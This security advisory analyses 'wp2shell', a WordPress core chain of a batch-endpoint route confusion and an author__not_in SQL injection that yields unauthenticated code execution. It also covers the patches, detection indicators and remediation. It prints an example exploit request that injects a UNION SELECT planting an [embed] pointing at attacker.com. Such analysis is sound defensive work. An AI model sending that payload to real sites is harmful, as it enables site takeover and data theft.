On July 17, 2026, the WordPress security team pushed an emergency release (versions 6.9.5 and 7.0.2) and enabled forced automatic updates for all affected sites. A two-CVE chain dubbed wp2shell had been disclosed, allowing any anonymous attacker on the internet to execute arbitrary code on a default WordPress installation. No plugins required. No authentication. No user interaction.
If your organization runs WordPress and has not yet updated to version 6.8.6, 6.9.5, or 7.0.2, any attacker on the internet can take full control of your web server, read every user's email address and password, and run arbitrary code on your hosting infrastructure, with no login, no plugin, and no user action required. Update WordPress immediately, then check your administrator accounts for any unfamiliar entries and review recently modified plugin or theme files.
Both vulnerabilities live entirely in WordPress core and had shipped undetected across years of releases. Individually, neither is catastrophic. The SQL injection is gated behind conditions that are difficult to reach from outside without help. The batch processor bug is a logic flaw with no obvious direct impact. Combined, they produce a write primitive that the exploit uses to forge an administrator account and reach server-side code execution.
Exploitation Timeline
CVSS at a Glance
| Attack Vector | Network |
| Attack Complexity | Low |
| Privileges Required | None |
| User Interaction | None |
| Confidentiality / Integrity / Availability | High / High / High |
| Scope | Unchanged |
Affected Versions
| WordPress Branch | Affected Range | Fixed In | Exposure |
|---|---|---|---|
| 6.8.x | 6.8.0 – 6.8.5 | 6.8.6 | SQL injection only |
| 6.9.x | 6.9.0 – 6.9.4 | 6.9.5 | Full RCE chain |
| 7.0.x | 7.0.0 – 7.0.1 | 7.0.2 | Full RCE chain |
The SQL injection component (CVE-2026-60137) is present across all three branches. The route confusion (CVE-2026-63030) that makes it reachable without authentication exists only in 6.9.x and 7.0.x. The 6.8.x branch carries the SQL sink but not the full unauthenticated attack path.
Background: The WordPress REST API Batch Endpoint
WordPress introduced the REST API in version 4.4. The /wp-json/batch/v1 batch endpoint arrived in WordPress 5.6 (December 2020), letting a single HTTP request bundle multiple sub-requests that the server processes in parallel and returns as a combined response. The primary use case is reducing round-trips in block editor operations.
The endpoint is enabled by default, requires no configuration, and is reachable by unauthenticated users. The design intent is that each sub-request gets validated against its target route's registered schema before it is dispatched. That validation-before-dispatch guarantee is exactly what wp2shell breaks.
CVE-2026-63030: Route Confusion in WP_REST_Server
The Bug
The vulnerable code lives in WP_REST_Server::serve_batch_request_v1(). The batch processor works in two sequential phases: validation, then dispatch. Both phases iterate over the same list of sub-requests and maintain two parallel arrays that must stay in lockstep:
$matches[]: the matched route handler for each sub-request$validation_errors[]: errors collected from the schema validation phase
When wp_parse_url() fails to parse a sub-request path (for example, a path containing a null byte) the code pushes an error into $validation_errors but does not push a corresponding placeholder into $matches. One array grows by one. The other stays the same length. Every sub-request that follows is now off by one index.
An attacker who crafts the batch payload carefully can exploit this desync to land attacker-controlled data inside a code path that would normally be off-limits to an unauthenticated user: specifically, an internal WP_Query call with a parameter they fully control.
CVE-2026-60137: SQL Injection in WP_Query
The Bug
WP_Query is WordPress's central query construction engine. One of its accepted parameters is author__not_in, designed to receive an array of integer user IDs and produce a NOT IN (...) SQL clause. The sanitization logic uses an is_array() guard, and that guard is the source of the flaw.
When author__not_in arrives as an array (the expected type), every element is passed through absint(), which coerces each value to a positive integer. No SQL injection is possible:
if ( ! empty( $q['author__not_in'] ) ) {
if ( is_array( $q['author__not_in'] ) ) {
// Safe path: every element cast to integer by absint()
$author__not_in = implode( ',', array_map( 'absint', $q['author__not_in'] ) );
$where .= " AND {$wpdb->posts}.post_author NOT IN ($author__not_in)";
}
// If NOT an array -> the entire block is skipped. No sanitization. No error.
}
The developer guarded the primary array path correctly. The problem is PHP's loose typing: a scalar string passes the outer ! empty() check but fails is_array(), so the sanitization block is silently skipped. A secondary code path then uses the raw string value directly in the SQL query:
// Secondary path: reachable only through the route-confused batch request
// The string arrives here with no sanitization whatsoever
$where .= " AND {$wpdb->posts}.post_author NOT IN ($q['author__not_in'])";
Reaching this secondary path from outside normally requires administrator-level access. The route confusion from CVE-2026-63030 removes that requirement: it is the bridge between the two bugs.
How SQL Injection Becomes a Database Write: The oEmbed Primitive
A SQL injection in a SELECT query is typically a read-only primitive: useful for data exfiltration, but not for the account creation and code execution that wp2shell achieves. The critical escalation step is how wp2shell converts the read into a write.
The attacker does not just exfiltrate data from wp_posts. Instead, the UNION ALL SELECT payload fabricates a synthetic row in the query result that contains an [embed] shortcode pointing at an attacker-controlled server:
- UNION ALL SELECT injects a fake wp_posts row. The
author__not_instring payload appends a fabricated row to the query result, withpost_contentset to an attacker-controlled value. - The fabricated row contains an [embed] shortcode.
post_content = [embed]http://attacker.com/oembed[/embed]: WordPress treats this as legitimate post content. - WordPress's shortcode processor fires. When the result is rendered, WordPress's shortcode engine intercepts the
[embed]tag and triggers the oEmbed handler to resolve the URL. - WordPress makes an outbound request to the attacker's server. The oEmbed handler fetches a standard oEmbed discovery URL against the attacker's domain.
- The attacker's server returns a crafted oEmbed JSON response. The response carries attacker-controlled HTML in the
"html"field, which WordPress accepts as a legitimate oEmbed result. - WordPress caches the response in wp_postmeta. An
oembed_cacherow is written with the attacker-supplied HTML as the meta value: completing the write into the database. - The read-only SQL injection is now an arbitrary database write. The attacker controls a row in
wp_postmeta, which the next stage uses to forge a customizer changeset and impersonate an administrator.
The Full Exploit Chain: From Batch Request to Shell
The two bugs individually have limited utility. What makes wp2shell work is how each stage feeds the next, turning a logic flaw and a gated SQL injection into full administrator takeover and server-side code execution.
The entire sequence (five stages, unauthenticated, on a default install) requires only a handful of HTTP requests and is fully automatable.
What an Attacker Gains With Administrator Access
Once the forged administrator account exists, the practical impact goes well beyond the plugin editor used in Stage 5:
Exploit Payload Structure
The initial batch request, as captured from honeypot traffic shortly after disclosure, follows this structure:
POST /?rest_route=/batch/v1 HTTP/1.1
Host: target.example.com
Content-Type: application/json
{
"requests": [
{
"path": " invalid",
"method": "GET"
},
{
"path": "/wp/v2/posts",
"method": "GET",
"body": {
"author__not_in": "0) UNION ALL SELECT 1,2,3,4,
'[embed]http://attacker.com/oembed[/embed]',
6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23--"
}
}
]
}
The null byte in the first sub-request's path causes wp_parse_url() to fail, triggering the array desync. The second sub-request carries the SQL payload in author__not_in, which arrives as a raw string at the SQL sink as a direct consequence of the route confusion.
In-the-Wild Exploitation
Mass exploitation began within hours of the July 17, 2026, disclosure. A public proof-of-concept appeared on GitHub the same day. SANS ISC reported active scanning within six hours of the patch release. CISA added both CVEs to the Known Exploited Vulnerabilities (KEV) catalog on July 19, 2026.
By late July, exploitation campaigns were observed across cloud-hosted WordPress instances, with attackers primarily deploying cryptominers and PHP webshells for persistent access. WordPress.org enabled forced automatic updates (a measure reserved for critical security releases), ensuring that sites on managed hosting received the patch regardless of their update settings.
Patch Analysis
Fix for CVE-2026-63030
The patch repairs the array synchronization in serve_batch_request_v1(). When wp_parse_url() fails on a sub-request path, the code now inserts a null placeholder into $matches alongside the error in $validation_errors, keeping both arrays at equal length at all times. Additionally, the dispatch loop verifies that the handler being invoked is the same one that validated the current sub-request: a binding check that ensures the validate-then-dispatch guarantee cannot drift due to any future desync path.
Fix for CVE-2026-60137
The patch normalizes author__not_in at the point of ingestion, before it enters any conditional logic:
if ( ! empty( $q['author__not_in'] ) && ! is_array( $q['author__not_in'] ) ) {
$q['author__not_in'] = array( $q['author__not_in'] );
}
If a scalar string arrives, it is immediately wrapped in a single-element array. The is_array() guard downstream always succeeds, every value goes through absint(), and the SQL layer never sees raw user-controlled input. The secondary code path that previously accepted a raw string is eliminated. Both fixes are minimal and precise: they correct the exact failure modes without disabling the affected functionality.
Detection
Log-based detection: look for POST requests to /wp-json/batch/v1 or /?rest_route=/batch/v1 with any of the following: author__not_in in the request body, null bytes or Unicode escapes in sub-request path fields, or unusually large Content-Length headers relative to normal editor traffic.
Compromise indicators to check:
- New administrator accounts with unfamiliar usernames or email addresses
- Recently modified PHP files in active plugins or themes with timestamp mismatches
- POST requests to plugin or theme PHP file paths in web server logs
oembed_cacherows inwp_postmetareferencing external domains not in your oEmbed allowlist
Administrator account audit query:
SELECT u.user_login, u.user_email, u.user_registered FROM wp_users u JOIN wp_usermeta m ON u.ID = m.user_id WHERE m.meta_key = 'wp_capabilities' AND m.meta_value LIKE '%administrator%' ORDER BY u.user_registered DESC;
Any administrator accounts you do not recognize should be treated as artifacts of compromise and investigated before removal.
Remediation
Update immediately to WordPress 6.8.6, 6.9.5, or 7.0.2. There is no workaround: the batch endpoint cannot be safely disabled without breaking core editor functionality in most configurations, and the SQL injection fix requires a code change. Beyond patching:
- Remove any administrator accounts you did not create
- Rotate database credentials: if the site was compromised, assume the attacker read
wp-config.php - Rotate WordPress security keys and salts to invalidate all active sessions
- Review recently modified PHP files in plugins and themes directories
- Check
wp_postmetafor unexpectedoembed_cacherows from external domains
Why This Chain Matters
Most critical WordPress vulnerabilities require a third-party plugin. wp2shell requires only a stock install. The /wp-json/batch/v1 endpoint has been enabled by default since WordPress 5.6 (December 2020), meaning the attack surface was present on essentially every modern WordPress site for years before either CVE was identified.
The chain is a useful case study in how vulnerability chaining can transform two mundane bugs into a critical pre-authentication RCE. The connection between them is not obvious from auditing either function in isolation. It requires asking a specific question: if attacker-controlled data can reach a WP_Query call without being validated, what can be done from there? Traced all the way through the oEmbed cache, the customizer pipeline, and administrator impersonation, the answer is a shell.
The validate-then-dispatch pattern is safe only when the same route binding is guaranteed from validation through to dispatch. Any architecture that separates these two phases must prove the binding cannot drift. Here it could drift, and the patch correctly enforces that guarantee at both the synchronization level and the per-request handler-binding level.
Sources
WordPress 7.0.2 Patch Analysis: Maciej Szymczak
WordPress CVE-2026-63030 Exploitation Underway: SANS ISC
